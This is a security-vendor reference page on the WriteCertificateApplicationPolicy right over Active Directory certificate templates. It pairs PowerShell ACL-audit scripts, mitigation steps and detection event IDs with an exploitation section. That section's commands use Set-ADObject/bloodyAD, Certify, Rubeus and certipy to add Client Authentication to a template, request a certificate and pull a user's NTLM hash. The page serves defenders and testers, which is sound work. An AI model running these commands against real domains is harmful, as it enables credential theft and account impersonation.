WriteCertificateApplicationPolicy

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Summary


Forestall ACL Alias	WriteCertificateApplicationPolicy
AD Alias	Write msPKI-Certificate-Application-Policy
Affected Object Types	Certificate Templates
Exploitation Certainty	Certain
AD Attribute	msPKI-Certificate-Application-Policy
AD Attribute Guid	dbd90548-aa37-4202-9966-8c537ba5ce32
AD Right	WriteProperty

Description

The WriteCertificateApplicationPolicy permission in an Active Directory or Windows PKI environment grants an account the authority to create or modify the Certificate Application Policies linked to a certificate template or CA object. Certificate Application Policies define the intended uses and restrictions of issued certificates (e.g., client authentication, code signing, secure email), ensuring that only approved use cases are permitted within the organization. By delegating this permission, administrators can tailor certificates to meet specific security and operational requirements.

However, if misconfigured, the WriteCertificateApplicationPolicy permission can become a significant security risk. An attacker or unauthorized user with this permission could expand the allowed usage of certificates, enabling malicious scenarios such as unauthorized code signing, certificate-based impersonation of privileged accounts, or illicit decryption of sensitive communications. Exploiting this vulnerability may result in unauthorized access, privilege escalation, and persistent control over critical systems, ultimately jeopardizing the integrity and confidentiality of the entire network.

Identification

PowerShell

Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate WriteCertificateApplicationPolicy entries.

1. Find-WriteCertificateApplicationPolicy function

function Find-WriteCertificateApplicationPolicy {
    [CmdletBinding()]
    param([string]$Target = $null,[string]$OutputPath = "WriteCertificateApplicationPolicy.csv")
    $guid = [Guid]'dbd90548-aa37-4202-9966-8c537ba5ce32'
    $Allow = [System.Security.AccessControl.AccessControlType]::Allow
    $WriteProp = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    try {
        $root = [ADSI]"LDAP://RootDSE"
        $configNC = $root.configurationNamingContext
        $base = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$configNC"
        $de = New-Object System.DirectoryServices.DirectoryEntry($base)
        $ds = New-Object System.DirectoryServices.DirectorySearcher($de)
        if ([string]::IsNullOrWhiteSpace($Target)) {  $ds.Filter = '(objectClass=pKICertificateTemplate)'
        } else { $ds.Filter = "(&(objectClass=pKICertificateTemplate)(|(cn=$Target)(displayName=$Target)))" }
        $ds.PropertiesToLoad.Add("distinguishedName") | Out-Null
        $rows = foreach ($r in $ds.FindAll()) {
            $dn = $r.Properties['distinguishedname'][0]
            $entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$dn")
            $acl = $entry.ObjectSecurity
            foreach ($ace in $acl.GetAccessRules($true, $false, [System.Security.Principal.NTAccount])) {
                if ($ace.AccessControlType -ne $Allow) { continue };if ( ($ace.ActiveDirectoryRights -band $WriteProp) -eq 0 ) { continue }
                if ($ace.ObjectType -ne $guid) { continue }; if ($ace.IsInherited) { continue }
                [pscustomobject]@{
                    'Vulnerable Template' = $dn
                    'Internal Threat'     = $ace.IdentityReference.Value }}  }
     if ($rows) { $rows | Export-Csv -Path $OutputPath -NoTypeInformation }}catch { Write-Error "Failed: $_" }
}

2. Scan all domain templates

Find-WriteCertificateApplicationPolicy

3. Scan a specific template

Find-WriteCertificateApplicationPolicy -Target TMUser

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate WriteCertificateApplicationPolicy entries without relying on any external modules or dependencies.

1. Find-WriteCertificateApplicationPolicySimple function

function Find-WriteCertificateApplicationPolicySimple {
    [CmdletBinding()]
    param([string]$Target = $null,[string]$OutputPath = "WriteCertificateApplicationPolicy.csv")
    $Allow    = [System.Security.AccessControl.AccessControlType]::Allow
    $WriteProp= [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    $GuidCap  = [Guid]'dbd90548-aa37-4202-9966-8c537ba5ce32'   # ms-PKI-Certificate-Application-Policy
    try {
        if ($Target) { try {$entries = @( New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target") )} catch {Write-Error "Failed to bind to target '$Target': $_";return;}}
        else {
            $root   = [ADSI]"LDAP://RootDSE";$config = $root.configurationNamingContext
            $base   = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$config";$searchRoot = New-Object System.DirectoryServices.DirectoryEntry($base)
            $ds = New-Object System.DirectoryServices.DirectorySearcher($searchRoot);$ds.Filter = "(objectClass=pKICertificateTemplate)"
            $ds.PageSize = 1000;[void]$ds.PropertiesToLoad.Add("distinguishedName")
            $hits = $ds.FindAll()
            $entries = foreach ($h in $hits) {
                try { $h.GetDirectoryEntry() } catch { Write-Warning "Could not bind '${($h.Properties['distinguishedname'][0])}': $_"; continue }} }
        $rows = foreach ($entry in $entries) {
            $dn = try { $entry.Properties["distinguishedName"][0] } catch { $null }
            if (-not $dn) { continue }
            try {$acl  = $entry.ObjectSecurity;$aces = $acl.GetAccessRules($true, $false, [System.Security.Principal.NTAccount]);} catch {Write-Warning "Failed to read ACL for $dn : $_";continue;}
            foreach ($ace in $aces) {
                if ($ace.AccessControlType -ne $Allow) { continue };if ( ($ace.ActiveDirectoryRights -band $WriteProp) -eq 0 ) { continue }
                if ($ace.ObjectType -ne $GuidCap) { continue };if ($ace.IsInherited) { continue }
                [PSCustomObject]@{
                    'Vulnerable Template' = $dn
                    'Internal Threat'     = $ace.IdentityReference.Value}}}
if ($rows) {$rows | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8} else {Write-Host "No matching ACEs found."}}catch {Write-Error "Failed: $_" }}

2. Scan all domain templates

Find-WriteCertificateApplicationPolicySimple

3. Scan a specific template

Find-WriteCertificateApplicationPolicySimple -Target "CN=TMUser,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=Forestall,DC=labs"

Active Directory Services Interface

1. Open Active Directory Services Interface (ADSI edit) .

2. Right-click to ADSI Edit and select Connect to... from the context menu.

3. Select Configuration on Select a well known Naming Context and click OK.

4. Navigate to Configuration > Services > Public Key Services > Certificate Templates.

5. In the Certificate Templates list, double-click Certificate Template.

6. In the Properties window, navigate to the Security tab.

7. Click the Advanced button to open the Advanced Security Settings dialog.

8. In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

9. Click Edit to modify the selected ACE.

10. In the permissions list, locate and check the option Write msPKI-Certificate-Application-Policy.

11. Click OK to save your changes and close the dialogs.

Exploitation

This permission can be exploitable on Windows systems with Certify and Rubeus, while on Linux systems, tools such as Certipy can be effectively used for exploitation.Certify, Rubeus, Certipy

Windows

When attempting to use a certificate template that does not include Client Authentication in its application policy, it is not possible to authenticate with the issued certificate.

The following examples demonstrate exploitation on Windows and Linux environments.

Add Client Authentication to the Application Policy

# Import Active Directory module
Import-Module ActiveDirectory
# Distinguished Name (DN) of the Certificate Template you want to modify
$templateDN = "<Certificate Template>"
# OID values for msPKI-Certificate-Application-Policy (example)
$applicationPolicies = @(
    "1.3.6.1.5.5.7.3.1", # Server Authentication
    "1.3.6.1.5.5.7.3.2"  # Client Authentication
)
# Set (write) the msPKI-Certificate-Application-Policy attribute
Set-ADObject -Identity $templateDN -Replace @{'msPKI-Certificate-Application-Policy' = $applicationPolicies}

Example:

Import-Module ActiveDirectory
$templateDN = 'CN=TMUser,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=Forestall,DC=labs'
$applicationPolicies = @(
    "1.3.6.1.5.5.7.3.1", # Server Authentication
    "1.3.6.1.5.5.7.3.2"  # Client Authentication
)
Set-ADObject -Identity $templateDN -Replace @{'msPKI-Certificate-Application-Policy' = $applicationPolicies}

Request a certificate

.\Certify.exe request /ca:"caHost\caName" /template:"<templateName>"

Convert certificate to a pfx

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Retrieve NTLM hash of the user

.\Rubeus.exe asktgt /certificate:cert.pfx /user:"<user>" /domain:"<domain>" /enctype:aes128 /getcredentials

Example:

.\Certify.exe request /ca:"DC.Forestall.labs\Forestall-ROOT-CA" /template:TmUser

Requesting a certificate using Certify.exe

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

.\Rubeus.exe asktgt /certificate:cert.pfx /user:adam /domain:forestall.labs /enctype:aes128 /getcredentials

Retrieve NTLM hash using rubues f

Linux

When attempting to use a certificate template that does not include Client Authentication in its application policy, it is not possible to authenticate with the issued certificate.

Add Client Authentication to the Application Policy

bloodyAD --host <dchost> -d <domain> -u <user> -p '<pass>' set object '<templateDn>' msPKI-Certificate-Application-Policy -v 1.3.6.1.5.5.7.3.2 -v 1.3.6.1.5.5.7.3.1

Request a certificate

certipy-ad req -u <user>@<domain> -p '<pass>' -ca 'caName' -template <templateName> -target <dcip>

Retrieve NTLM hash for the user

certipy-ad auth -pfx <pfxFile> -username <user> -domain <domain> -dc-ip <dcip>

Example:

bloodyAD --host dc.forestall.labs -d forestall.labs -u adam -p 'Temp123!' set object 'CN=TMUser,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=Forestall,DC=labs' msPKI-Certificate-Application-Policy -v 1.3.6.1.5.5.7.3.2 -v 1.3.6.1.5.5.7.3.1

certipy-ad req -u [email protected] -p 'Temp123!' -ca 'Forestall-Root-CA' -template TMUser -target 192.168.100.128

certipy-ad auth -pfx adam.pfx -username adam -domain forestall.labs -dc-ip 192.168.100.128

Important Note

After you have obtained the certificate and set the client authentication application policy, you can authenticate to a client or server with this certificate.

Mitigation

1. Open Active Directory Services Interface (ADSI Edit) .

2. Right-click to ADSI Edit and select Connect to... from the context menu.

3. Select Configuration on Select a well known Naming Context and click OK.

4. Navigate to Configuration > Services > Public Key Services > Certificate Templates.

5. In the Certificate Templates list, double click Certificate Template.

6. In the Properties window, navigate to the Security tab.

7. Click the Advanced button to open the Advanced Security Settings dialog.

8. In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

9. Click Edit to modify the selected ACE.

10. In the permissions list, locate and remove the option Write msPKI-Certificate-Application-Policy.

11. Click OK to save your changes and close the dialogs.

Detection

Adding new Access Control Entries on the Active Directory objects changes the ntSecurityDescriptor attribute of the objects themselves. These changes can be detected with the 5136 and 4662 Event IDs to identify dangerous modifications.

Event ID	Description	Fields/Attributes	References
5136	A directory service object was modified.	ntSecurityDescriptor	https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136\|
4662	An operation was performed on an object.	AccessList, AccessMask	https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662\|
4886	Certificate Services received a certificate request.	CertificateTemplate, Requester	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn319076(v=ws.11)\|
4887	Certificate Services approved a certificate request and issued a certificate.	CertificateTemplate, Requester	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn319076(v=ws.11)\|

WriteCertificateApplicationPolicy

Summary

Description

Identification

PowerShell

Active Directory Module

.NET Directory Services

Active Directory Services Interface

Exploitation

Windows

Add Client Authentication to the Application Policy

Request a certificate

Convert certificate to a pfx

Retrieve NTLM hash of the user

Linux

Add Client Authentication to the Application Policy

Request a certificate

Retrieve NTLM hash for the user

Important Note

Mitigation

Detection

References